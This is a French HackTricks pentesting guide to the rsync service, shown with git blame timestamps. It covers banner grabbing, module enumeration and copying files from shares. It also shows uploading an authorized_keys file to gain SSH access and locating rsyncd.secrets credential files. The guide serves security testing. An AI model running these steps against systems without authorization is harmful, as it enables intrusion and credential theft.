hacktricks/network-services-pentesting/873-pentesting-rsync.md

79 lines
4.3 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
## **Informations de base**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
> **rsync** est un utilitaire pour transférer et synchroniser efficacement des fichiers entre un ordinateur et un disque dur externe et entre des ordinateurs en réseau en comparant les heures de modification et les tailles des fichiers. Il est couramment utilisé sur les systèmes d'exploitation de type Unix. L'algorithme rsync est un type de codage delta et est utilisé pour minimiser l'utilisation du réseau. Zlib peut être utilisé pour une compression de données supplémentaire, et SSH ou stunnel peut être utilisé pour la sécurité.
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
Source : [Wikipedia](https://en.wikipedia.org/wiki/Rsync).
2023-06-03 13:10:46 +00:00
**Port par défaut :** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
2023-06-03 13:10:46 +00:00
## Énumération
2023-06-03 13:10:46 +00:00
### Bannière et communication manuelle
```
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
2023-06-03 13:10:46 +00:00
### **Énumérer les dossiers partagés**
2023-06-03 13:10:46 +00:00
**Un module rsync est essentiellement un partage de répertoire**. Ces modules **peuvent éventuellement être protégés par un mot de passe**. Cette option liste les modules disponibles et, éventuellement, détermine si le module nécessite un mot de passe pour y accéder\*\*:\*\*.
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
2023-06-03 13:10:46 +00:00
Notez qu'il est possible de configurer un nom partagé pour qu'il ne soit pas répertorié. Il peut y avoir quelque chose de **caché**.\
Notez qu'il peut y avoir des **noms partagés** répertoriés pour lesquels vous avez besoin de **justificatifs d'identité** différents pour y accéder. Ainsi, tous les noms répertoriés ne seront pas toujours accessibles et vous le remarquerez si vous recevez un message _**"Accès refusé"**_ en essayant d'y accéder.
2022-05-01 13:25:53 +00:00
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#rsync)
2023-06-03 13:10:46 +00:00
### Rsync manuel
2023-06-03 13:10:46 +00:00
Une fois que vous avez la **liste des modules**, vous avez plusieurs options différentes en fonction des actions que vous souhaitez effectuer et de la nécessité ou non d'une authentification. **Si aucune authentification n'est requise**, vous pouvez **répertorier** un dossier partagé :
```bash
rsync -av --list-only rsync://192.168.0.123/shared_name
```
2023-06-03 13:10:46 +00:00
Et **copiez** tous les **fichiers** sur votre machine locale en utilisant la commande suivante :
```bash
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
2023-06-03 13:10:46 +00:00
Ceci **transfère de manière récursive tous les fichiers du répertoire** `<shared_name>` sur la machine `<IP>` dans le répertoire `./rsync_shared` sur la machine locale. Les fichiers sont transférés en mode "archive", ce qui garantit que les liens symboliques, les périphériques, les attributs, les autorisations, les propriétaires, etc. sont préservés lors du transfert.
2023-06-03 13:10:46 +00:00
Si vous **avez des identifiants**, vous pouvez **lister/télécharger** un **nom partagé** en utilisant (le mot de passe sera demandé):
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
2023-06-03 13:10:46 +00:00
Vous pouvez également **uploader** du **contenu** en utilisant rsync (par exemple, dans ce cas, nous pouvons uploader un fichier _**authorized\_keys**_ pour obtenir l'accès à la boîte) :
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
2022-05-01 13:25:53 +00:00
## POST
2023-06-03 13:10:46 +00:00
Trouver le fichier de configuration rsyncd :
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
2023-06-03 13:10:46 +00:00
À l'intérieur du fichier de configuration, vous pouvez parfois trouver le paramètre _secrets file = /path/to/file_ et ce fichier peut contenir des noms d'utilisateur et des mots de passe autorisés à s'authentifier auprès de rsyncd.